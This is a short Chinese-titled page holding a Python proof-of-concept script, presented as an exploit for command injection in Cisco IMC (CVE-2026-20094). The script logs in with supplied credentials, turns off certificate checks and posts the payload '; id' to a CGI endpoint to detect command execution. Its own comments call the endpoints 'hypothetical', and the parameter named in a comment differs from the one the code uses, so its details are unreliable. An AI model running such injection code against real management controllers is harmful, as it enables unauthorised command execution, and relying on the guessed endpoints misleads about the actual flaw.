CVE-2026-20094 Cisco IMC 命令注入漏洞

import requests import urllib3 # Suppress SSL warnings for testing purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_cve_2026_20094(target_url, username, password): """ PoC for CVE-2026-20094: Cisco IMC Command Injection. This script attempts to execute a simple command (id) on the target. """ session = requests.Session() session.verify = False # Login endpoint (hypothetical based on Cisco IMC structure) login_url = f"{target_url}/login" login_data = {"user": username, "password": password} try: print(f"[*] Attempting login to {target_url}...") response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Login failed.") return print("[+] Login successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Vulnerable endpoint (hypothetical) # The specific parameter 'input_cmd' is vulnerable to injection vuln_url = f"{target_url}/cgi-bin/config.cgi" # Injecting payload: ; id to execute 'id' command payload = "; id" data = { "action": "set", "target_param": payload # Injection point } try: print(f"[*] Sending payload to {vuln_url}...") response = session.post(vuln_url, data=data) # Check if command output is present in response if "uid=" in response.text: print("[+] Exploit successful! Command execution detected.") print("[+] Response snippet:") print(response.text[:500]) else: print("[-] Exploit failed or output not found in response.") except Exception as e: print(f"[-] Error during exploitation: {e}") if __name__ == "__main__": # Replace with actual target details target = "https://<cisco-imc-ip>" user = "readonly_user" pwd = "password123" exploit_cve_2026_20094(target, user, pwd)